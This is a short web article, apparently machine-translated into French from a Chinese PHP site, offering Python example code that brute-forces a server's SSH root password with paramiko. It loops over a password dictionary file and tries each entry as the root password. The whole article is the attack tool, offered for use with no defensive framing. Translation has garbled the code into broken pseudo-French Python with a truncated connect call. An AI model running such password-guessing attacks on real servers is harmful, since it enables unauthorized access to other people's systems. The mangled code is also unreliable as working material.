Maison > Article > développement back-end > Utilisez Python pour forcer brutalement le code d'exemple du mot de passe root
Préparation de l'environnement :
1. Installez le module paramiko
2. Ouvrez le port 22 pour le service ssh du serveur
Veuillez consulter le code ci-dessous
#!/usr/bin/py
#-*- codage : utf-8 -*-
import paramiko
ssh = paramiko .SSHClient( ) #Instantiation class
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #La réponse automatique lors de la connexion est oui
d = fichier('/root/a.txt') #Chemin du fichier du dictionnaire
pour i dans d.xreadlines( ): # LoopDictionnaire de mots de passe
i = i.strip() #Supprimez les espaces avant et après
if not i: #Enter si la valeur est vide Le prochain tour de boucle
, PORT = 22, Nom d'utilisateur = 'ROOT', PASSW ORD = i)
> IMPRIMER'RACINE le mot de passe est', i #Si le mot de passe est correct, le mot de passe
Sortez de la boucle :
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!